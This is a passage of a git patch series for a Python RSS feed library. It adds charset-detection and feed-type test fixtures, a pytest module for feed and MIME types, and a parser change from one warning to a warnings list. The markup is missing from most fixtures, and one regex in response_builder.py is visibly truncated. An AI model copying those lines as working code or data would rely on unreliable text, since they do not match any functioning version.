", + "url": "https://example.org/initial-post" + } + ] +} diff --git a/tests/feedlib/testdata/encoding/chardet/koi8-r.xml b/tests/feedlib/testdata/encoding/chardet/koi8-r.xml new file mode 100644 index 0000000..8cdea54 --- /dev/null +++ b/tests/feedlib/testdata/encoding/chardet/koi8-r.xml @@ -0,0 +1,14 @@ + + + + + + +, , , , . ! , - ! . -... " " " " , . , "" . + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/encoding/chardet/shift-jis.xml b/tests/feedlib/testdata/encoding/chardet/shift-jis.xml new file mode 100644 index 0000000..28285d9 --- /dev/null +++ b/tests/feedlib/testdata/encoding/chardet/shift-jis.xml @@ -0,0 +1,11 @@ + + + + DrecomRSSɋLefȂc + FXׂĂAMT3.2RSS1.0T|[gĂȂƂB Ƃ... + + \ No newline at end of file diff --git a/tests/feedlib/testdata/encoding/chardet/tis-620.xml b/tests/feedlib/testdata/encoding/chardet/tis-620.xml new file mode 100644 index 0000000..5dd1090 --- /dev/null +++ b/tests/feedlib/testdata/encoding/chardet/tis-620.xml @@ -0,0 +1,12 @@ + + + + +ӹѡҹصˡͿ觪ҵ SIPA Ѻ MamboHub.com ¹ԭءҹʹ Template ûСǴ &#8220;Mambo Template Contest&#8221; Mambo 4.5.X Ѻԧ䫵 thaiopensource.org 䫵ٹŢâͧͿ Open Source ͧ ö觼ŧҹһСǴ 㹹ͧѷ ؤ / 駹Դ͡ ʹѺʹع Mambo ͧǹ㹡͡ẺоѲ䫵 thaiopensource.org ͹Ҥ + + + diff --git a/tests/feedlib/testdata/encoding/chardet/utf-8.json b/tests/feedlib/testdata/encoding/chardet/utf-8.json new file mode 100644 index 0000000..3eb37fe --- /dev/null +++ b/tests/feedlib/testdata/encoding/chardet/utf-8.json @@ -0,0 +1,18 @@ +{ + "version": "https://jsonfeed.org/version/1", + "title": "My Example Feed", + "home_page_url": "https://example.org/", + "feed_url": "https://example.org/feed.json", + "items": [ + { + "id": "2", + "content_text": "This is a second item.", + "url": "https://example.org/second-item" + }, + { + "id": "1", + "content_html": "

Hello, world!

", + "url": "https://example.org/initial-post" + } + ] +} diff --git a/tests/feedlib/testdata/encoding/chardet/utf-8.xml b/tests/feedlib/testdata/encoding/chardet/utf-8.xml new file mode 100644 index 0000000..9062443 --- /dev/null +++ b/tests/feedlib/testdata/encoding/chardet/utf-8.xml @@ -0,0 +1,8 @@ + + +《11月的蕭邦》是台灣歌手周杰倫發行第六張國語專輯 + \ No newline at end of file diff --git a/tests/feedlib/testdata/encoding/chardet/windows-1255.xml b/tests/feedlib/testdata/encoding/chardet/windows-1255.xml new file mode 100644 index 0000000..0ab773f --- /dev/null +++ b/tests/feedlib/testdata/encoding/chardet/windows-1255.xml @@ -0,0 +1,14 @@ + + + + + + ? , . , . . + + + + diff --git a/tests/feedlib/testdata/encoding/mixed/http_application_atom_xml_charset_overrides_encoding.xml b/tests/feedlib/testdata/encoding/mixed/http_application_atom_xml_charset_overrides_encoding.xml new file mode 100644 index 0000000..f6a2f34 --- /dev/null +++ b/tests/feedlib/testdata/encoding/mixed/http_application_atom_xml_charset_overrides_encoding.xml @@ -0,0 +1,9 @@ + + + +《11月的蕭邦》是台灣歌手周杰倫發行第六張國語專輯 + diff --git a/tests/feedlib/testdata/encoding/mixed/http_application_rss_xml_charset_overrides_encoding.xml b/tests/feedlib/testdata/encoding/mixed/http_application_rss_xml_charset_overrides_encoding.xml new file mode 100644 index 0000000..d260732 --- /dev/null +++ b/tests/feedlib/testdata/encoding/mixed/http_application_rss_xml_charset_overrides_encoding.xml @@ -0,0 +1,9 @@ + + + +《11月的蕭邦》是台灣歌手周杰倫發行第六張國語專輯 + diff --git a/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_charset_overrides_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_charset_overrides_encoding.xml new file mode 100644 index 0000000..f587bcc --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_charset_overrides_encoding.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_default.xml b/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_default.xml new file mode 100644 index 0000000..6ef0efe --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_default.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_encoding.xml new file mode 100644 index 0000000..4b46cab --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_encoding.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_gb2312_charset_overrides_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_gb2312_charset_overrides_encoding.xml new file mode 100644 index 0000000..bb3c3fc --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_gb2312_charset_overrides_encoding.xml @@ -0,0 +1,9 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_gb2312_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_gb2312_encoding.xml new file mode 100644 index 0000000..ab91a82 --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_atom_xml_gb2312_encoding.xml @@ -0,0 +1,9 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_application_rss_xml_charset_overrides_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_application_rss_xml_charset_overrides_encoding.xml new file mode 100644 index 0000000..80c214f --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_rss_xml_charset_overrides_encoding.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_application_rss_xml_default.xml b/tests/feedlib/testdata/encoding/xml/http_application_rss_xml_default.xml new file mode 100644 index 0000000..781e703 --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_rss_xml_default.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_application_rss_xml_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_application_rss_xml_encoding.xml new file mode 100644 index 0000000..53ee7ff --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_rss_xml_encoding.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/encoding/xml/http_application_xml_charset_overrides_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_application_xml_charset_overrides_encoding.xml new file mode 100644 index 0000000..cd314dd --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_xml_charset_overrides_encoding.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/encoding/xml/http_application_xml_default.xml b/tests/feedlib/testdata/encoding/xml/http_application_xml_default.xml new file mode 100644 index 0000000..309496c --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_xml_default.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/encoding/xml/http_application_xml_dtd_charset_overrides_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_application_xml_dtd_charset_overrides_encoding.xml new file mode 100644 index 0000000..fa01fef --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_xml_dtd_charset_overrides_encoding.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_application_xml_dtd_default.xml b/tests/feedlib/testdata/encoding/xml/http_application_xml_dtd_default.xml new file mode 100644 index 0000000..390e70e --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_xml_dtd_default.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_application_xml_dtd_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_application_xml_dtd_encoding.xml new file mode 100644 index 0000000..ae67ce1 --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_xml_dtd_encoding.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_application_xml_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_application_xml_encoding.xml new file mode 100644 index 0000000..771663f --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_xml_encoding.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/encoding/xml/http_application_xml_epe_charset_overrides_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_application_xml_epe_charset_overrides_encoding.xml new file mode 100644 index 0000000..ce10433 --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_xml_epe_charset_overrides_encoding.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_application_xml_epe_default.xml b/tests/feedlib/testdata/encoding/xml/http_application_xml_epe_default.xml new file mode 100644 index 0000000..85af859 --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_xml_epe_default.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_application_xml_epe_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_application_xml_epe_encoding.xml new file mode 100644 index 0000000..4085fa2 --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_application_xml_epe_encoding.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_text_atom_xml_charset_overrides_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_text_atom_xml_charset_overrides_encoding.xml new file mode 100644 index 0000000..be4fbf9 --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_text_atom_xml_charset_overrides_encoding.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_text_atom_xml_default.xml b/tests/feedlib/testdata/encoding/xml/http_text_atom_xml_default.xml new file mode 100644 index 0000000..2d3088f --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_text_atom_xml_default.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_text_atom_xml_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_text_atom_xml_encoding.xml new file mode 100644 index 0000000..f3a25fa --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_text_atom_xml_encoding.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_text_rss_xml_charset_overrides_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_text_rss_xml_charset_overrides_encoding.xml new file mode 100644 index 0000000..84436b5 --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_text_rss_xml_charset_overrides_encoding.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_text_rss_xml_default.xml b/tests/feedlib/testdata/encoding/xml/http_text_rss_xml_default.xml new file mode 100644 index 0000000..d7a9025 --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_text_rss_xml_default.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_text_rss_xml_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_text_rss_xml_encoding.xml new file mode 100644 index 0000000..a786e7e --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_text_rss_xml_encoding.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/encoding/xml/http_text_xml_charset_overrides_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_text_xml_charset_overrides_encoding.xml new file mode 100644 index 0000000..5b05f6b --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_text_xml_charset_overrides_encoding.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/encoding/xml/http_text_xml_charset_overrides_encoding_2.xml b/tests/feedlib/testdata/encoding/xml/http_text_xml_charset_overrides_encoding_2.xml new file mode 100644 index 0000000..dfa1451 --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_text_xml_charset_overrides_encoding_2.xml @@ -0,0 +1,17 @@ + + + + + + +Foo +http://purl.org/rss/2.0/?item +This is a test. + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_text_xml_default.xml b/tests/feedlib/testdata/encoding/xml/http_text_xml_default.xml new file mode 100644 index 0000000..eb7236f --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_text_xml_default.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/encoding/xml/http_text_xml_epe_charset_overrides_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_text_xml_epe_charset_overrides_encoding.xml new file mode 100644 index 0000000..353429e --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_text_xml_epe_charset_overrides_encoding.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_text_xml_epe_default.xml b/tests/feedlib/testdata/encoding/xml/http_text_xml_epe_default.xml new file mode 100644 index 0000000..7f5c0ee --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_text_xml_epe_default.xml @@ -0,0 +1,8 @@ + + + + diff --git a/tests/feedlib/testdata/encoding/xml/http_text_xml_epe_encoding.xml b/tests/feedlib/testdata/encoding/xml/http_text_xml_epe_encoding.xml new file mode 100644 index 0000000..b85e3bc --- /dev/null +++ b/tests/feedlib/testdata/encoding/xml/http_text_xml_epe_encoding.xml @@ -0,0 +1,8 @@ + + + + -- Gitee From 8af9863929b51c24fbe384f0fda9b1da9094ca6f Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 18:32:45 +0800 Subject: [PATCH 10/26] test and fix feed type detect --- rssant_feedlib/response_builder.py | 14 +- tests/feedlib/test_feed_type.py | 110 ++++++++++ ...om-group-getrssresouce-aspx-classid-74.xml | 74 +++++++ .../feed_type/html/http-enrz-com-feed.xml | 152 ++++++++++++++ .../feed_type/html/http-maodoupi-com-feed.xml | 115 +++++++++++ .../html/http-www-yuming-in-feed.xml | 1 + .../html/https-d3adend-org-blog-feed-rss2.xml | 192 ++++++++++++++++++ 7 files changed, 656 insertions(+), 2 deletions(-) create mode 100644 tests/feedlib/test_feed_type.py create mode 100644 tests/feedlib/testdata/feed_type/html/http-blog-hexun-com-group-getrssresouce-aspx-classid-74.xml create mode 100644 tests/feedlib/testdata/feed_type/html/http-enrz-com-feed.xml create mode 100644 tests/feedlib/testdata/feed_type/html/http-maodoupi-com-feed.xml create mode 100644 tests/feedlib/testdata/feed_type/html/http-www-yuming-in-feed.xml create mode 100644 tests/feedlib/testdata/feed_type/html/https-d3adend-org-blog-feed-rss2.xml diff --git a/rssant_feedlib/response_builder.py b/rssant_feedlib/response_builder.py index 2a83ab3..e07ac74 100644 --- a/rssant_feedlib/response_builder.py +++ b/rssant_feedlib/response_builder.py @@ -11,7 +11,7 @@ from .response import FeedContentType, FeedResponse RE_CONTENT_XML = re.compile(rb'(<\?xml||]') MIME_TYPE_NOT_FEED = { 'application/octet-stream', @@ -19,6 +19,7 @@ MIME_TYPE_NOT_FEED = { 'application/vnd.', 'text/css', 'text/csv', + 'text/javascript', 'image/', 'font/', "audio/", @@ -50,7 +51,16 @@ def detect_feed_type(content: bytes, mime_type: str = None) -> FeedContentType: return FeedContentType.XML if RE_CONTENT_HTML.search(head): return FeedContentType.HTML - return FeedContentType.XML + if mime_type: + if 'xml' in mime_type: + return FeedContentType.XML + if 'html' in mime_type: + return FeedContentType.HTML + if 'json' in mime_type: + return FeedContentType.JSON + if RE_CONTENT_MARKUP.search(head): + return FeedContentType.XML + return FeedContentType.OTHER # Capture the value of the XML processing instruction's encoding attribute. diff --git a/tests/feedlib/test_feed_type.py b/tests/feedlib/test_feed_type.py new file mode 100644 index 0000000..e8233e6 --- /dev/null +++ b/tests/feedlib/test_feed_type.py @@ -0,0 +1,110 @@ +import os.path +from pathlib import Path + +import pytest + +from rssant_feedlib import FeedResponseBuilder, FeedContentType + + +_data_dir = Path(__file__).parent / 'testdata' + + +def _create_builder(): + builder = FeedResponseBuilder() + builder.url('https://blog.example.com/feed.xml') + return builder + + +def _collect_feed_type_cases(): + cases = [] + for filepath in (_data_dir / 'encoding/xml').glob("*"): + cases.append((filepath, FeedContentType.XML)) + for filepath in (_data_dir / 'encoding/chardet').glob("*.json"): + cases.append((filepath, FeedContentType.JSON)) + for filepath in (_data_dir / 'feed_type/html').glob("*"): + cases.append((filepath, FeedContentType.HTML)) + cases = [(os.path.relpath(x, _data_dir), t) for x, t in cases] + return cases + + +@pytest.mark.parametrize('filepath, expect', _collect_feed_type_cases()) +def test_feed_type(filepath, expect): + content = Path(_data_dir / filepath).read_bytes() + builder = _create_builder() + builder.content(content) + response = builder.build() + assert response.feed_type == expect + + +_json_mime_types = [ + 'application/ld+json', + 'application/manifest+json', + 'application/geo+json', + 'application/x-web-app-manifest+json', + + +] + +_xml_mime_types = [ + 'application/xhtml+xml', + 'application/xml', + 'application/rdf+xml', + 'application/atom+xml', +] + +_html_mime_types = [ + 'text/html', + 'application/html', +] + +_other_mime_types = [ + 'text/css', + 'application/javascript', + 'image/png', + 'application/vnd.ms-fontobject', + 'font/otf', + 'application/wasm', + 'image/bmp', + 'image/svg+xml', + 'image/x-icon', + 'text/cache-manifest', + 'text/css', + 'text/javascript', + 'text/markdown', + 'text/vcard', + 'text/calendar', + 'text/vnd.rim.location.xloc', + 'text/vtt', + 'text/x-component', + 'text/x-cross-domain-policy', +] + + +def _collect_mime_cases(): + cases = [] + for x in _xml_mime_types: + cases.append((x, FeedContentType.XML)) + for x in _json_mime_types: + cases.append((x, FeedContentType.JSON)) + for x in _html_mime_types: + cases.append((x, FeedContentType.HTML)) + for x in _other_mime_types: + cases.append((x, FeedContentType.OTHER)) + return cases + + +@pytest.mark.parametrize('mime_type, expect', _collect_mime_cases()) +def test_feed_type_mime(mime_type, expect): + builder = _create_builder() + builder.headers({'content-type': mime_type}) + builder.content(b'hello world') + response = builder.build() + assert response.feed_type == expect + + +def test_feed_type_text_plain(): + builder = _create_builder() + builder.headers({'content-type': 'text/plain'}) + builder.content(b'world') + response = builder.build() + assert response.feed_type == FeedContentType.XML diff --git a/tests/feedlib/testdata/feed_type/html/http-blog-hexun-com-group-getrssresouce-aspx-classid-74.xml b/tests/feedlib/testdata/feed_type/html/http-blog-hexun-com-group-getrssresouce-aspx-classid-74.xml new file mode 100644 index 0000000..06c0dd3 --- /dev/null +++ b/tests/feedlib/testdata/feed_type/html/http-blog-hexun-com-group-getrssresouce-aspx-classid-74.xml @@ -0,0 +1,74 @@ + + + + + Ѷ -- ϵͳά + + + +
+
+
+
ѶڽϵͳάԺԣغѶҳ鿴ྫݡ
+
+
+ +
+ + diff --git a/tests/feedlib/testdata/feed_type/html/http-enrz-com-feed.xml b/tests/feedlib/testdata/feed_type/html/http-enrz-com-feed.xml new file mode 100644 index 0000000..91ebf5b --- /dev/null +++ b/tests/feedlib/testdata/feed_type/html/http-enrz-com-feed.xml @@ -0,0 +1,152 @@ + + + + + + + + + + + Site Offline + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+ +

维护中······

+
+ 马上回来!
+
    + +
+ + +
+ + + +
+
+
+
+ + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/feed_type/html/http-maodoupi-com-feed.xml b/tests/feedlib/testdata/feed_type/html/http-maodoupi-com-feed.xml new file mode 100644 index 0000000..32e7b22 --- /dev/null +++ b/tests/feedlib/testdata/feed_type/html/http-maodoupi-com-feed.xml @@ -0,0 +1,115 @@ + + + + + + + + + Account Suspended + + + + +
+ + Account Suspended + +
+
+
+
+
+ This Account has been suspended. +
+
+ Contact your hosting provider for more information. +
+
+
+
+ + diff --git a/tests/feedlib/testdata/feed_type/html/http-www-yuming-in-feed.xml b/tests/feedlib/testdata/feed_type/html/http-www-yuming-in-feed.xml new file mode 100644 index 0000000..a9e00e4 --- /dev/null +++ b/tests/feedlib/testdata/feed_type/html/http-www-yuming-in-feed.xml @@ -0,0 +1 @@ +





如果您的页面没有自动跳转,请点击这里

\ No newline at end of file diff --git a/tests/feedlib/testdata/feed_type/html/https-d3adend-org-blog-feed-rss2.xml b/tests/feedlib/testdata/feed_type/html/https-d3adend-org-blog-feed-rss2.xml new file mode 100644 index 0000000..f98be0c --- /dev/null +++ b/tests/feedlib/testdata/feed_type/html/https-d3adend-org-blog-feed-rss2.xml @@ -0,0 +1,192 @@ + + + + dead && end + + + + + + + + + + + + + + + + + + + + + + +
+ Neil Bergman +

dead && end

+

Neil Bergman's Software Security Blog

+ +
+
+ +
+

dead && end

+ + + + + + + +
+ +
+ + -- Gitee From 186bd6bf4b30c067a40531bd7b6c884bd69ba47d Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 20:02:55 +0800 Subject: [PATCH 11/26] test and fix feed parser, change warning to warnings list --- rssant_feedlib/finder.py | 4 +- rssant_feedlib/raw_parser.py | 66 +- tests/feedlib/test_parser.py | 83 + ...om-group-getrssresouce-aspx-classid-74.xml | 74 + .../parser/failed/http-guwendong-com-feed.xml | 46 + .../parser/failed/http-maodoupi-com-feed.xml | 115 + .../http-porn191-com-index-php-feed.xml | 10 + .../parser/failed/http-wappblog-com-feed.xml | 205 + .../failed/http-www-chongdiantou-com-feed.xml | 1 + .../failed/http-www-m1927-com-feed-php.xml | 1 + .../parser/failed/http-www-yuming-in-feed.xml | 1 + .../failed/http-www-ziyouren888-com-feed.xml | 1 + .../parser/failed/http-yx-bsh-me-feed.xml | 63 + .../parser/failed/https-1a23-com-feed.xml | 1358 +++ .../https-d3adend-org-blog-feed-rss2.xml | 192 + .../failed/https-egoist-moe-atom-xml.xml | 5 + .../jsonfeed-failed-no-title-items.json | 4 + .../parser/failed/jsonfeed-failed-syntax.json | 15 + .../parser/failed/rssant-manifest.json | 1 + .../failed/v2ex-jsonfeed-no-storys.json | 15 + .../warn/http-blog-xiayf-cn-feeds-rss-xml.xml | 1871 ++++ .../http-www-caogen-com-adminsite-rss-xml.xml | 210 + .../http-www-doubiekan-net-map-rss-xml.xml | 714 ++ .../http-www-jiangxinlingdu-com-feed-xml.xml | 2186 +++++ .../warn/https-blog-huoding-com-feed.xml | 1761 ++++ .../warn/https-blogs-vmware-com-wprss.xml | 498 ++ .../warn/https-chocoluffy-com-atom-xml.xml | 3597 ++++++++ .../warn/https-einverne-github-io-rss-xml.xml | 2025 +++++ .../parser/warn/https-guozh-net-feed.xml | 489 ++ .../parser/warn/https-laod-cn-feed.xml | 224 + .../warn/https-mlog-club-topic-atom-xml.xml | 1996 +++++ .../https-panicall-github-io-feed-xml.xml | 3528 ++++++++ .../parser/warn/https-steachs-com-feed.xml | 1318 +++ .../parser/warn/https-www-doyler-net-feed.xml | 2290 +++++ .../parser/warn/https-www-dozer-cc-feed.xml | 4131 +++++++++ .../parser/warn/https-www-hacg-site-feed.xml | 750 ++ .../warn/https-www-mlook-mobi-feed-books.xml | 143 + ...www-oschina-net-news-rss-show-industry.xml | 416 + .../https-www-seozac-com-comments-feed.xml | 139 + .../parser/warn/https-www-waerfa-com-feed.xml | 7594 +++++++++++++++++ .../parser/warn/https-www-zrj96-com-feed.xml | 2139 +++++ .../parser/warn/v2ex-jsonfeed-warning.json | 29 + .../parser/well/coolshell-cn-feed.xml | 3181 +++++++ .../testdata/parser/well/diygod-me-atom.xml | 441 + .../parser/well/http-www-gushequ-com-feed.xml | 4340 ++++++++++ .../well/http-www-manrepeller-com-feed.xml | 681 ++ .../parser/well/http-www-pptmall-net-feed.xml | 519 ++ .../parser/well/https-cangku-moe-feed.xml | 232 + .../parser/well/jsonfeed-example.json | 18 + .../testdata/parser/well/kilerd-me-rss.xml | 973 +++ .../testdata/parser/well/v2ex-guyskk.xml | 1176 +++ .../testdata/parser/well/v2ex-jsonfeed.json | 23 + .../testdata/parser/well/v2ex-jsonfeed.xml | 32 + .../well/www-ruangyifeng-com-blog-atom.xml | 1347 +++ 54 files changed, 53244 insertions(+), 27 deletions(-) create mode 100644 tests/feedlib/test_parser.py create mode 100644 tests/feedlib/testdata/parser/failed/http-blog-hexun-com-group-getrssresouce-aspx-classid-74.xml create mode 100644 tests/feedlib/testdata/parser/failed/http-guwendong-com-feed.xml create mode 100644 tests/feedlib/testdata/parser/failed/http-maodoupi-com-feed.xml create mode 100644 tests/feedlib/testdata/parser/failed/http-porn191-com-index-php-feed.xml create mode 100644 tests/feedlib/testdata/parser/failed/http-wappblog-com-feed.xml create mode 100644 tests/feedlib/testdata/parser/failed/http-www-chongdiantou-com-feed.xml create mode 100644 tests/feedlib/testdata/parser/failed/http-www-m1927-com-feed-php.xml create mode 100644 tests/feedlib/testdata/parser/failed/http-www-yuming-in-feed.xml create mode 100644 tests/feedlib/testdata/parser/failed/http-www-ziyouren888-com-feed.xml create mode 100644 tests/feedlib/testdata/parser/failed/http-yx-bsh-me-feed.xml create mode 100644 tests/feedlib/testdata/parser/failed/https-1a23-com-feed.xml create mode 100644 tests/feedlib/testdata/parser/failed/https-d3adend-org-blog-feed-rss2.xml create mode 100644 tests/feedlib/testdata/parser/failed/https-egoist-moe-atom-xml.xml create mode 100644 tests/feedlib/testdata/parser/failed/jsonfeed-failed-no-title-items.json create mode 100644 tests/feedlib/testdata/parser/failed/jsonfeed-failed-syntax.json create mode 100644 tests/feedlib/testdata/parser/failed/rssant-manifest.json create mode 100644 tests/feedlib/testdata/parser/failed/v2ex-jsonfeed-no-storys.json create mode 100644 tests/feedlib/testdata/parser/warn/http-blog-xiayf-cn-feeds-rss-xml.xml create mode 100644 tests/feedlib/testdata/parser/warn/http-www-caogen-com-adminsite-rss-xml.xml create mode 100644 tests/feedlib/testdata/parser/warn/http-www-doubiekan-net-map-rss-xml.xml create mode 100644 tests/feedlib/testdata/parser/warn/http-www-jiangxinlingdu-com-feed-xml.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-blog-huoding-com-feed.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-blogs-vmware-com-wprss.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-chocoluffy-com-atom-xml.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-einverne-github-io-rss-xml.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-guozh-net-feed.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-laod-cn-feed.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-mlog-club-topic-atom-xml.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-panicall-github-io-feed-xml.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-steachs-com-feed.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-www-doyler-net-feed.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-www-dozer-cc-feed.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-www-hacg-site-feed.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-www-mlook-mobi-feed-books.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-www-oschina-net-news-rss-show-industry.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-www-seozac-com-comments-feed.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-www-waerfa-com-feed.xml create mode 100644 tests/feedlib/testdata/parser/warn/https-www-zrj96-com-feed.xml create mode 100644 tests/feedlib/testdata/parser/warn/v2ex-jsonfeed-warning.json create mode 100644 tests/feedlib/testdata/parser/well/coolshell-cn-feed.xml create mode 100644 tests/feedlib/testdata/parser/well/diygod-me-atom.xml create mode 100644 tests/feedlib/testdata/parser/well/http-www-gushequ-com-feed.xml create mode 100644 tests/feedlib/testdata/parser/well/http-www-manrepeller-com-feed.xml create mode 100644 tests/feedlib/testdata/parser/well/http-www-pptmall-net-feed.xml create mode 100644 tests/feedlib/testdata/parser/well/https-cangku-moe-feed.xml create mode 100644 tests/feedlib/testdata/parser/well/jsonfeed-example.json create mode 100644 tests/feedlib/testdata/parser/well/kilerd-me-rss.xml create mode 100644 tests/feedlib/testdata/parser/well/v2ex-guyskk.xml create mode 100644 tests/feedlib/testdata/parser/well/v2ex-jsonfeed.json create mode 100644 tests/feedlib/testdata/parser/well/v2ex-jsonfeed.xml create mode 100644 tests/feedlib/testdata/parser/well/www-ruangyifeng-com-blog-atom.xml diff --git a/rssant_feedlib/finder.py b/rssant_feedlib/finder.py index 5318521..0498817 100644 --- a/rssant_feedlib/finder.py +++ b/rssant_feedlib/finder.py @@ -244,8 +244,8 @@ class FeedFinder: except FeedParserError as ex: self._log(str(ex)) return None - if result.warning: - self._log(f"warning: {result.warning}") + if result.warnings: + self._log(f"warnings: {';'.join(result.warnings)}") parser = FeedParser() result = parser.parse(result) return result diff --git a/rssant_feedlib/raw_parser.py b/rssant_feedlib/raw_parser.py index c46cc89..b902847 100644 --- a/rssant_feedlib/raw_parser.py +++ b/rssant_feedlib/raw_parser.py @@ -57,12 +57,12 @@ validate_raw_story = compiler.compile(RawStorySchema) class RawFeedResult: - __slots__ = ('_feed', '_storys', '_warning') + __slots__ = ('_feed', '_storys', '_warnings') - def __init__(self, feed, storys, warning=None): + def __init__(self, feed, storys, warnings=None): self._feed = feed self._storys = storys - self._warning = warning + self._warnings = warnings def __repr__(self): return '<{} url={!r} version={!r} title={!r} has {} storys>'.format( @@ -82,8 +82,8 @@ class RawFeedResult: return self._storys @property - def warning(self) -> str: - return self._warning + def warnings(self) -> str: + return self._warnings class FeedParserError(Exception): @@ -92,7 +92,7 @@ class FeedParserError(Exception): class RawFeedParser: - def __init__(self, validate=False): + def __init__(self, validate=True): self._validate = 